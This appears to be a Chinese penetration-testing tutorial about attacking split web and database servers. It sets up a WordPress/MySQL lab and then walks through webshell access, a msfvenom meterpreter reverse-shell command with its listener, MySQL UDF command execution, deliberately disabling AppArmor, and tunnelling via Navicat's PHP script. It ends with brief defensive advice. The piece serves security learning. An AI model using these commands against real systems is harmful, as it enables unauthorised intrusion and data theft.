WEB安全 | 浅谈站库分离部署与渗透思路
2022-7-17 08:50:58 Author: HACK技术沉淀营(查看原文) 阅读量:120 收藏

0x00 前言

站库分离这个词,听起来很高大上。对于平时搭建自己的博客、实验环境习惯了LAMP一体机的童鞋来说,确实有些生疏。这里写一篇文章总结一下。

本文篇幅较长,涉及到的知识点:CMS搭建网站、Navicat操作技巧、mysql udf提权、禁用ubuntu apparmor、站库分离实现、数据库命令操作。

0x01 概述

现在的WEB网站,只要是动态网站,肯定会带有数据库。一般来讲我们搭建自己的博客、实验环境,无论是phpstudy、Linux命令、LAMP一键安装脚本、还是docker,总之为了方便,将WEB服务、数据库和语言解析服务安装在一台机器上,俗称LAMP或者LNMP集成环境等等。

但是企业级别的架构,这么做很容易出现风险和漏洞,于是就有了站库分离的思想。将数据库甚至语言解析服务与WEB服务器分离开,单独安装在另一台服务器上,这个数据库服务器会部署在公网或者内网上。不过虽然看似很安全,但是如果稍有不慎,也是有风险的。

那么WEB服务器和数据库服务器是分开的,那么它们之间是如何建立的联系?

DB部署在公网(不推荐)

第一种情况,数据库服务器部署在公网。有用自己的服务器的,也有用云数据库的。只要是稍微大点的公司,基本上不会这么做。用自己的服务器还要再购买一个静态公网IP,成本高,风险大;用Amazon/阿里/腾讯/华为RDS等云数据库,不但要担心自己的数据泄露,而且总有一种寄人篱下之感,很不牢靠。

DB部署在内网

第二种情况比较常见,数据库服务器部署在内网中,这样成本低,减少受攻击面。

0x02 站库分离环境搭建

我经常提到,想要做渗透,一定要了解对方的架构和组织部署,有源码就审计,有产品版本就自己安装研究研究。这是最快熟悉目标的方式,也是为了渗透做一个初步了解和认知。这里来模拟一个数据库服务器建设在内网的环境。

01、所需物料

WEB服务器:ubuntu18.04 + wordpress 边界机,双网卡(外网+内网)

数据库服务器:ubuntu18.04+Mysql 5.7(仅有内网网卡)

02、数据库服务器安装mysql

1、先加一块外网网卡安装数据库然后删掉就行。

apt update
apt install mysql-server -y #安装mysql-server
mysql --version   #查看版本信息
systemctl status mysql  #查看mysql状态

2、mysql开启外连。这里为了方便实验,就默认开启root用户的外连了,企业级搭建不要轻易使用root用户。

mysql_secure_installation #配置mysql的安全选项,开启root远程连接
mysql -u root -p 即可进入mysql
#mysql -u root 直接进入的原因是默认允许127.0.0.1直接链接。
 mysql> grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
 mysql> flush privileges;
#注释掉127
vim /etc/mysql/mysql.conf.d/mysqld.conf

03、WEB服务器搭建

1、安装apache与php语言环境

apt update 
apt install apache2 -y 
service apache2 enable
apt install php php-curl php-gd php-xml php-mbstring php-xmlrpc php-zip php-soap php-intl php-mysql php-xsl php-zip libapache2-mod-php
systemctl restart apache2

2、安装wordpress:先在数据库服务器上新建一个wordpress的库

3、下载wordpress:https://wordpress.org/download/#download-install,放入网站根目录后,修改权限为www-data

chown www-data:www-data -R wordpress

4、随后页面访问,注意这里填写成数据库服务器的对应信息。

5、随后输入相应的账号密码即可安装成功。

0x03 站库分离渗透思路

01、从WEB服务器入手

这个就比较常见了,我们常用的传统漏洞姿势:文件上传、反序列化、中间件CMS漏洞;还有漏洞结合getshell:文件包含、XSS配合RCE等等。总之拿到了webshell之后,我们是有足够权限去查看网站的配置文件如config.php等,从而查看到链接数据库的信息,紧接着根据信息收集进行下一步的利用。

通过webshell查看数据库信息

1、假设通过漏洞写入了一个shell.php,连接蚁剑。

2、可以通过查看配置文件,发现连接的数据库信息(强密弱密都能看到)从而我们也发现了一个内网环境。

3、MSF生成木马通过蚁剑上传,添加权限并运行上线。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.84 lport=4444 -f elf -o shell.elf
msfconsole -x "handler -H 0.0.0.0 -P 4444 -p linux/x64/meterpreter/reverse_tcp"
chmod +x shell.elf
./shell.elf

4、建立路由和代理隧道

5、成功连接内网数据库服务器

6、进行数据库信息收集

select user();
select database();
show variables like '%version_%';
show variables like '%plugin%';
show variables like '%secure%';

配置漏洞环境

7、这里想要让数据库服务器上线,可以利用udf提权自定义函数进行命令执行,但是这种方式条件比较苛刻,尤其是在ubuntu机器中,几乎不可能。为了试验成功,这里特意将ubuntu配成可以使用udf提权的环境:

  • 赋予root读写权限
vim /etc/mysql/mysql.conf.d/mysqld.conf #在mysqld下添加一句话如图
service mysql restart
  • 赋予插件目录写权限
chmod 777 /usr/lib/mysql/plugin
  • 关闭apparmor

ubuntu18.04中内置了一个apparmor,看这个名字就知道这是做应用护甲保护、限制应用行为的。这个apparmor的存在,导致我们满足了上方两个条件也无法写入.so文件和执行命令。

sudo aa-status #查看apparmor信息,有如图这行代码说明有限制
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
service mysql restart

8、好了,漏洞环境到此部署完毕,开始通过udf提权来自定义函数从而使其上线,由于代码太长了,大家可以去国光博客的udf查询复制:

https://www.sqlsec.com/tools/udf.html

最后提权结果是不是root无所谓,这和数据库的版本有关系,我们只需要命令执行即可。

SELECT 0x7f4........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; --太长了,简写了
create function sys_eval returns string soname 'udf.so';
select sys_eval('whoami');

9、上传木马到边界机器,利用sys_eval远程下载木马,因为内网数据库机器不出网,所以可以利用frpioxnps等工具进行代理上线。因为篇幅~~(我懒)~~原因,这里就不再演示了。

从DB服务器入手

丑话说在前:很难。

如果DB服务器部署在公网上,一般来说都会设置IP白名单,也就是只有WEB服务器的IP才能连接数据库服务器,并且设置数据库密码为强密。

不过万一没有配置好呢?渗透有时候就是靠运气和捡漏,说好听点就是盲打,说高级点就是渗透测试Fuzz...

思路包括:弱口令暴力破解、数据库账密信息泄露、反编译等。

如果DB服务器部署在内网,只能通过别的手段进入内网再横向等。

利用方式

通过上述思路获取到账密后,连接数据库,我们可以重点收集这些信息:

1、有时候我们的目标不是获取shell,就是为了拿特定数据。

2、定位WEBip地址。通过查询information_schema库中的PROCESSLIST可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的ip:port。(这里的111.1是我的物理机)

select * from information_schema.PROCESSLIST;

3、敏感信息遍历:利用load_file()获取数据库所在服务器的信息,前提是开启读写权限并且mysql版本小于5.7。我这里是5.7.3的,可以看到读取不了任何文件内容。

如果可以读取,可以读网卡信息,下面以centos7mysql为例:

#获取网卡名称
/etc/udev/rules.d/70-persistent-net.rules
#静态IP
/etc/sysconfig/network-scripts/ifcfg-网卡
#DHCP
/var/lib/dhclient/dhclient--网卡.lease

0x04 Navicat的妙用

说个题外话,就是关于Navicat的技巧:

背景:目标 MySQL 不允许外连,但是可以上传 PHP 脚本。

这时候就可以用Navicat安装目录下自带的脚本:ntunnel_mysql.php

上传后访问这个文件,输入相关的账号密码数据库信息

再次使用Navicat,选择http代理

随后将连接设置改为localhost即可连接

试想一下,平时运维可以这么做,不用非要每次改库都更改数据库配置了;

对于渗透测试来说,类似于neo-reGeorge的功能,直接开启一个代理。

所以当目标网站不允许外连数据库,但是可以上传文件时,就可以用这个方法,同时也适用于站库分离。

0x05 总结

我相信,到这里我不说大家也应该基本会了。

站库分离渗透思路

WEB漏洞打点getshell查看配置文件进而继续利用。

数据库爆破、信息泄露、反编译利用,重点收集WEB端连接的ip等。

ubuntu对mysql的限制

实验环境记得关闭apparmor,否则udf提权无法生产环境千万不要关闭。

防御

针对WEB服务器:做好各种漏洞的防御,具体不说了

针对DB服务器:

  • 尽量不要部署在公网之上。

  • 开启外连所用的账号,不要用root,同时使用强密码。

  • 数据库配置ip白名单,仅允许WEB服务器连接。


文章来源: http://mp.weixin.qq.com/s?__biz=MzIyMzcwMTg1MA==&mid=2247487672&idx=1&sn=cef9cf988c557145cc4376ec52d818f8&chksm=e81b6e8ddf6ce79b6ad7ab923859c693407057713a8af32cc7838fc8640421806511355e6066#rd
如有侵权请联系:admin#unsafe.sh